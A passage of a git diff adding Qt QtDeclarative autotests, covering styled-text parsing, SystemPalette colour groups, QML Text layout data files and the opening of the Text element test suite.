+ QTest::newRow("missing </b>") << "<b>text" << "text";
+ QTest::newRow("bad nest") << "<b>text <i>italic</b></i>" << "text italic";
+ QTest::newRow("font color") << "<font color=\"red\">red text</font>" << "red text";
+ QTest::newRow("font color: single quote") << "<font color='red'>red text</font>" << "red text";
+ QTest::newRow("font size") << "<font size=\"1\">text</font>" << "text";
+ QTest::newRow("font empty") << "<font>text</font>" << "text";
+ QTest::newRow("font bad 1") << "<font ezis=\"blah\">text</font>" << "text";
+ QTest::newRow("font bad 2") << "<font size=\"1>text</font>" << "";
+ QTest::newRow("extra close") << "<b>text</b></b>" << "text";
+ QTest::newRow("extra space") << "<b >text</b>" << "text";
+ QTest::newRow("entities") << "&lt;b&gt;this &amp; that&lt;/b&gt;" << "<b>this & that</b>";
+ QTest::newRow("newline") << "text<br>more text" << QLatin1String("text") + QChar(QChar::LineSeparator) + QLatin1String("more text") ;
+ QTest::newRow("self-closing newline") << "text<br/>more text" << QLatin1String("text") + QChar(QChar::LineSeparator) + QLatin1String("more text") ;
+ QTest::newRow("empty") << "" << "";
+}
+
+void tst_qdeclarativestyledtext::textOutput()
+{
+ QFETCH(QString, input);
+ QFETCH(QString, output);
+
+ QTextLayout layout;
+ QDeclarativeStyledText::parse(input, layout);
+
+ QCOMPARE(layout.text(), output);
+}
+
+
+QTEST_MAIN(tst_qdeclarativestyledtext)
+
+#include "tst_qdeclarativestyledtext.moc"
diff --git a/tests/auto/declarative/qdeclarativesystempalette/qdeclarativesystempalette.pro b/tests/auto/declarative/qdeclarativesystempalette/qdeclarativesystempalette.pro
new file mode 100644
index 00000000..00626884
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesystempalette/qdeclarativesystempalette.pro
@@ -0,0 +1,12 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativesystempalette.cpp
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativesystempalette/tst_qdeclarativesystempalette.cpp b/tests/auto/declarative/qdeclarativesystempalette/tst_qdeclarativesystempalette.cpp
new file mode 100644
index 00000000..99490c22
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesystempalette/tst_qdeclarativesystempalette.cpp
@@ -0,0 +1,192 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDebug>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativesystempalette_p.h>
+#include <qpalette.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativesystempalette : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativesystempalette();
+
+private slots:
+ void activePalette();
+ void inactivePalette();
+ void disabledPalette();
+ void paletteChanged();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativesystempalette::tst_qdeclarativesystempalette()
+{
+}
+
+void tst_qdeclarativesystempalette::activePalette()
+{
+ QString componentStr = "import QtQuick 1.0\nSystemPalette { }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeSystemPalette *object = qobject_cast<QDeclarativeSystemPalette*>(component.create());
+
+ QVERIFY(object != 0);
+
+ QPalette palette;
+ palette.setCurrentColorGroup(QPalette::Active);
+ QCOMPARE(palette.window().color(), object->window());
+ QCOMPARE(palette.windowText().color(), object->windowText());
+ QCOMPARE(palette.base().color(), object->base());
+ QCOMPARE(palette.text().color(), object->text());
+ QCOMPARE(palette.alternateBase().color(), object->alternateBase());
+ QCOMPARE(palette.button().color(), object->button());
+ QCOMPARE(palette.buttonText().color(), object->buttonText());
+ QCOMPARE(palette.light().color(), object->light());
+ QCOMPARE(palette.midlight().color(), object->midlight());
+ QCOMPARE(palette.dark().color(), object->dark());
+ QCOMPARE(palette.mid().color(), object->mid());
+ QCOMPARE(palette.shadow().color(), object->shadow());
+ QCOMPARE(palette.highlight().color(), object->highlight());
+ QCOMPARE(palette.highlightedText().color(), object->highlightedText());
+
+ delete object;
+}
+
+void tst_qdeclarativesystempalette::inactivePalette()
+{
+ QString componentStr = "import QtQuick 1.0\nSystemPalette { colorGroup: SystemPalette.Inactive }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeSystemPalette *object = qobject_cast<QDeclarativeSystemPalette*>(component.create());
+
+ QVERIFY(object != 0);
+ QVERIFY(object->colorGroup() == QDeclarativeSystemPalette::Inactive);
+
+ QPalette palette;
+ palette.setCurrentColorGroup(QPalette::Inactive);
+ QCOMPARE(palette.window().color(), object->window());
+ QCOMPARE(palette.windowText().color(), object->windowText());
+ QCOMPARE(palette.base().color(), object->base());
+ QCOMPARE(palette.text().color(), object->text());
+ QCOMPARE(palette.alternateBase().color(), object->alternateBase());
+ QCOMPARE(palette.button().color(), object->button());
+ QCOMPARE(palette.buttonText().color(), object->buttonText());
+ QCOMPARE(palette.light().color(), object->light());
+ QCOMPARE(palette.midlight().color(), object->midlight());
+ QCOMPARE(palette.dark().color(), object->dark());
+ QCOMPARE(palette.mid().color(), object->mid());
+ QCOMPARE(palette.shadow().color(), object->shadow());
+ QCOMPARE(palette.highlight().color(), object->highlight());
+ QCOMPARE(palette.highlightedText().color(), object->highlightedText());
+
+ delete object;
+}
+
+void tst_qdeclarativesystempalette::disabledPalette()
+{
+ QString componentStr = "import QtQuick 1.0\nSystemPalette { colorGroup: SystemPalette.Disabled }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeSystemPalette *object = qobject_cast<QDeclarativeSystemPalette*>(component.create());
+
+ QVERIFY(object != 0);
+ QVERIFY(object->colorGroup() == QDeclarativeSystemPalette::Disabled);
+
+ QPalette palette;
+ palette.setCurrentColorGroup(QPalette::Disabled);
+ QCOMPARE(palette.window().color(), object->window());
+ QCOMPARE(palette.windowText().color(), object->windowText());
+ QCOMPARE(palette.base().color(), object->base());
+ QCOMPARE(palette.text().color(), object->text());
+ QCOMPARE(palette.alternateBase().color(), object->alternateBase());
+ QCOMPARE(palette.button().color(), object->button());
+ QCOMPARE(palette.buttonText().color(), object->buttonText());
+ QCOMPARE(palette.light().color(), object->light());
+ QCOMPARE(palette.midlight().color(), object->midlight());
+ QCOMPARE(palette.dark().color(), object->dark());
+ QCOMPARE(palette.mid().color(), object->mid());
+ QCOMPARE(palette.shadow().color(), object->shadow());
+ QCOMPARE(palette.highlight().color(), object->highlight());
+ QCOMPARE(palette.highlightedText().color(), object->highlightedText());
+
+ delete object;
+}
+
+void tst_qdeclarativesystempalette::paletteChanged()
+{
+ QString componentStr = "import QtQuick 1.0\nSystemPalette { }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeSystemPalette *object = qobject_cast<QDeclarativeSystemPalette*>(component.create());
+
+ QVERIFY(object != 0);
+
+ QPalette p;
+ p.setCurrentColorGroup(QPalette::Active);
+ p.setColor(QPalette::Active, QPalette::Text, QColor("red"));
+ p.setColor(QPalette::Active, QPalette::ButtonText, QColor("green"));
+ p.setColor(QPalette::Active, QPalette::WindowText, QColor("blue"));
+
+ qApp->setPalette(p);
+
+ object->setColorGroup(QDeclarativeSystemPalette::Active);
+ QTRY_COMPARE(QColor("red"), object->text());
+ QTRY_COMPARE(QColor("green"), object->buttonText());
+ QTRY_COMPARE(QColor("blue"), object->windowText());
+
+ delete object;
+}
+
+QTEST_MAIN(tst_qdeclarativesystempalette)
+
+#include "tst_qdeclarativesystempalette.moc"
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments.qml b/tests/auto/declarative/qdeclarativetext/data/alignments.qml
new file mode 100644
index 00000000..25105f67
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 70; height: 70;
+
+ property alias horizontalAlignment: t.horizontalAlignment
+ property alias verticalAlignment: t.verticalAlignment
+ property alias wrapMode: t.wrapMode
+ property alias running: timer.running
+ property string txt: "Test"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 40
+ height: 40
+ color: "green"
+
+ Text {
+ id: t
+
+ anchors.fill: parent
+ horizontalAlignment: Text.AlignRight
+ verticalAlignment: Text.AlignBottom
+ wrapMode: Text.WordWrap
+ text: top.txt
+ }
+ Timer {
+ id: timer
+
+ interval: 1
+ running: true
+ repeat: true
+ onTriggered: {
+ top.txt = top.txt + "<br>more " + top.txt.length;
+ if (top.txt.length > 50)
+ running = false
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_cb.png b/tests/auto/declarative/qdeclarativetext/data/alignments_cb.png
new file mode 100644
index 00000000..cf6199a4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_cb.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_cc.png b/tests/auto/declarative/qdeclarativetext/data/alignments_cc.png
new file mode 100644
index 00000000..f81ccb42
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_cc.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_ct.png b/tests/auto/declarative/qdeclarativetext/data/alignments_ct.png
new file mode 100644
index 00000000..9ba64125
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_ct.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_lb.png b/tests/auto/declarative/qdeclarativetext/data/alignments_lb.png
new file mode 100644
index 00000000..1b50a81f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_lb.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_lc.png b/tests/auto/declarative/qdeclarativetext/data/alignments_lc.png
new file mode 100644
index 00000000..f041b868
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_lc.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_lt.png b/tests/auto/declarative/qdeclarativetext/data/alignments_lt.png
new file mode 100644
index 00000000..c75e0d15
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_lt.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_rb.png b/tests/auto/declarative/qdeclarativetext/data/alignments_rb.png
new file mode 100644
index 00000000..b06a5da7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_rb.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_rc.png b/tests/auto/declarative/qdeclarativetext/data/alignments_rc.png
new file mode 100644
index 00000000..e468857c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_rc.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/alignments_rt.png b/tests/auto/declarative/qdeclarativetext/data/alignments_rt.png
new file mode 100644
index 00000000..576715ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/alignments_rt.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/elideimplicitwidth.qml b/tests/auto/declarative/qdeclarativetext/data/elideimplicitwidth.qml
new file mode 100644
index 00000000..60ae15c4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/elideimplicitwidth.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.1
+
+Text {
+ text: "Hello World"
+ elide: Text.ElideRight
+ width: 30
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocal.qml b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocal.qml
new file mode 100644
index 00000000..ee9b95a2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocal.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Text {
+ text: "<img src='http/exists.png'>"
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocalError.qml b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocalError.qml
new file mode 100644
index 00000000..4dc0d3e1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesLocalError.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Text {
+ text: "<img src='http/notexists.png'>"
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemote.qml b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemote.qml
new file mode 100644
index 00000000..438f4a06
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemote.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Text {
+ text: "<img src='http://127.0.0.1:14453/exists.png'>"
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemoteError.qml b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemoteError.qml
new file mode 100644
index 00000000..c24bf24f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/embeddedImagesRemoteError.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Text {
+ text: "<img src='http://127.0.0.1:14453/notexists.png'>"
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 00000000..4f589446
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 200; height: 70;
+
+ property alias horizontalAlignment: text.horizontalAlignment
+ property string text: "اختبا"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 180
+ height: 20
+ color: "green"
+
+ Text {
+ id: text
+ objectName: "text"
+ anchors.fill: parent
+ text: top.text
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/http/exists.png b/tests/auto/declarative/qdeclarativetext/data/http/exists.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/http/exists.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
new file mode 100644
index 00000000..63817f6f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Item {
+ width: 200
+ height: 200
+
+ Text {
+ id: myText
+ objectName: "myText"
+ width: 200
+ wrapMode: Text.WordWrap
+ maximumLineCount: undefined
+ text: "Testing that maximumLines, visibleLines, and totalLines works properly in the autotests. The quick brown fox jumped over the lazy anything with the letter 'g'."
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
new file mode 100644
index 00000000..851d8711
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Item {
+ width: 200
+ height: 200
+
+ Text {
+ id: myText
+ objectName: "myText"
+ width: 200
+ wrapMode: Text.WordWrap
+ font.pixelSize: 13
+ text: "Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum."
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/qtbug_14734.qml b/tests/auto/declarative/qdeclarativetext/data/qtbug_14734.qml
new file mode 100644
index 00000000..bd07d667
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/qtbug_14734.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 640
+ height: 480
+
+ Text {
+ text: "í "
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/rotated.qml b/tests/auto/declarative/qdeclarativetext/data/rotated.qml
new file mode 100644
index 00000000..1e893b93
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/rotated.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+ width : 200
+ height : 100
+
+ Text {
+ objectName: "text"
+ x: 20
+ y: 20
+ height : 20
+ width : 80
+ text : "Something"
+ rotation : 30
+ transformOrigin : Item.TopLeft
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativetext/qdeclarativetext.pro b/tests/auto/declarative/qdeclarativetext/qdeclarativetext.pro
new file mode 100644
index 00000000..c0831f70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/qdeclarativetext.pro
@@ -0,0 +1,21 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+QT += network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativetext.cpp
+
+INCLUDEPATH += ../shared/
+HEADERS += ../shared/testhttpserver.h
+SOURCES += ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
new file mode 100644
index 00000000..af354166
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
@@ -0,0 +1,1340 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QTextDocument>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativetext_p.h>
+#include <private/qdeclarativetext_p_p.h>
+#include <private/qdeclarativevaluetype_p.h>
+#include <QFontMetrics>
+#include <QGraphicsSceneMouseEvent>
+#include <qmath.h>
+#include <QDeclarativeView>
+#include <private/qapplication_p.h>
+#include <limits.h>
+
+#include "../../../shared/util.h"
+#include "testhttpserver.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativetext : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativetext();
+
+private slots:
+ void text();
+ void width();
+ void wrap();
+ void elide();
+ void textFormat();
+
+ void alignments_data();
+ void alignments();
+
+ void embeddedImages_data();
+ void embeddedImages();
+
+ void lineCount();
+ void lineHeight();
+
+ // ### these tests may be trivial
+ void horizontalAlignment();
+ void horizontalAlignment_RightToLeft();
+ void verticalAlignment();
+ void font();
+ void style();
+ void color();
+ void smooth();
+
+ // QDeclarativeFontValueType
+ void weight();
+ void underline();
+ void overline();
+ void strikeout();
+ void capitalization();
+ void letterSpacing();
+ void wordSpacing();
+
+ void clickLink();
+
+ void QTBUG_12291();
+ void implicitSize_data();
+ void implicitSize();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+
+ void qtbug_14734();
+private:
+ QStringList standard;
+ QStringList richText;
+
+ QStringList horizontalAlignmentmentStrings;
+ QStringList verticalAlignmentmentStrings;
+
+ QList<Qt::Alignment> verticalAlignmentments;
+ QList<Qt::Alignment> horizontalAlignmentments;
+
+ QStringList styleStrings;
+ QList<QDeclarativeText::TextStyle> styles;
+
+ QStringList colorStrings;
+
+ QDeclarativeEngine engine;
+
+ QDeclarativeView *createView(const QString &filename);
+};
+
+tst_qdeclarativetext::tst_qdeclarativetext()
+{
+ standard << "the quick brown fox jumped over the lazy dog"
+ << "the quick brown fox\n jumped over the lazy dog";
+
+ richText << "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a> jumped over the <b>lazy</b> dog</i>"
+ << "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a><br>jumped over the <b>lazy</b> dog</i>";
+
+ horizontalAlignmentmentStrings << "AlignLeft"
+ << "AlignRight"
+ << "AlignHCenter";
+
+ verticalAlignmentmentStrings << "AlignTop"
+ << "AlignBottom"
+ << "AlignVCenter";
+
+ horizontalAlignmentments << Qt::AlignLeft
+ << Qt::AlignRight
+ << Qt::AlignHCenter;
+
+ verticalAlignmentments << Qt::AlignTop
+ << Qt::AlignBottom
+ << Qt::AlignVCenter;
+
+ styleStrings << "Normal"
+ << "Outline"
+ << "Raised"
+ << "Sunken";
+
+ styles << QDeclarativeText::Normal
+ << QDeclarativeText::Outline
+ << QDeclarativeText::Raised
+ << QDeclarativeText::Sunken;
+
+ colorStrings << "aliceblue"
+ << "antiquewhite"
+ << "aqua"
+ << "darkkhaki"
+ << "darkolivegreen"
+ << "dimgray"
+ << "palevioletred"
+ << "lightsteelblue"
+ << "#000000"
+ << "#AAAAAA"
+ << "#FFFFFF"
+ << "#2AC05F";
+ //
+ // need a different test to do alpha channel test
+ // << "#AA0011DD"
+ // << "#00F16B11";
+ //
+}
+
+QDeclarativeView *tst_qdeclarativetext::createView(const QString &filename)
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+
+ canvas->setSource(QUrl::fromLocalFile(filename));
+ return canvas;
+}
+
+void tst_qdeclarativetext::text()
+{
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData("import QtQuick 1.0\nText { text: \"\" }", QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->text(), QString(""));
+ QVERIFY(textObject->width() == 0);
+
+ delete textObject;
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->text(), standard.at(i));
+ QVERIFY(textObject->width() > 0);
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QString expected = richText.at(i);
+ QCOMPARE(textObject->text(), expected.replace("\\\"", "\""));
+ QVERIFY(textObject->width() > 0);
+ }
+}
+
+void tst_qdeclarativetext::width()
+{
+ // uses Font metrics to find the width for standard and document to find the width for rich
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData("import QtQuick 1.0\nText { text: \"\" }", QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->width(), 0.);
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QVERIFY(!Qt::mightBeRichText(standard.at(i))); // self-test
+
+ QFont f;
+ QFontMetricsF fm(f);
+ qreal metricWidth = fm.size(Qt::TextExpandTabs && Qt::TextShowMnemonic, standard.at(i)).width();
+ metricWidth = qCeil(metricWidth);
+
+ QString componentStr = "import QtQuick 1.0\nText { text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QVERIFY(textObject->boundingRect().width() > 0);
+ QCOMPARE(textObject->width(), qreal(metricWidth));
+ QVERIFY(textObject->textFormat() == QDeclarativeText::AutoText); // setting text doesn't change format
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QVERIFY(Qt::mightBeRichText(richText.at(i))); // self-test
+
+ QTextDocument document;
+ document.setHtml(richText.at(i));
+ document.setDocumentMargin(0);
+
+ int documentWidth = document.idealWidth();
+
+ QString componentStr = "import QtQuick 1.0\nText { text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->width(), qreal(documentWidth));
+ QVERIFY(textObject->textFormat() == QDeclarativeText::AutoText); // setting text doesn't change format
+ }
+}
+
+void tst_qdeclarativetext::wrap()
+{
+ int textHeight = 0;
+ // for specified width and wrap set true
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData("import QtQuick 1.0\nText { text: \"Hello\"; wrapMode: Text.WordWrap; width: 300 }", QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+ textHeight = textObject->height();
+
+ QVERIFY(textObject != 0);
+ QVERIFY(textObject->wrapMode() == QDeclarativeText::WordWrap);
+ QCOMPARE(textObject->width(), 300.);
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { wrapMode: Text.WordWrap; width: 30; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->width(), 30.);
+ QVERIFY(textObject->height() > textHeight);
+
+ int oldHeight = textObject->height();
+ textObject->setWidth(100);
+ QVERIFY(textObject->height() < oldHeight);
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { wrapMode: Text.WordWrap; width: 30; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->width(), 30.);
+ QVERIFY(textObject->height() > textHeight);
+
+ qreal oldHeight = textObject->height();
+ textObject->setWidth(100);
+ QVERIFY(textObject->height() < oldHeight);
+ }
+
+ // richtext again with a fixed height
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { wrapMode: Text.WordWrap; width: 30; height: 50; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->width(), 30.);
+ QVERIFY(textObject->implicitHeight() > textHeight);
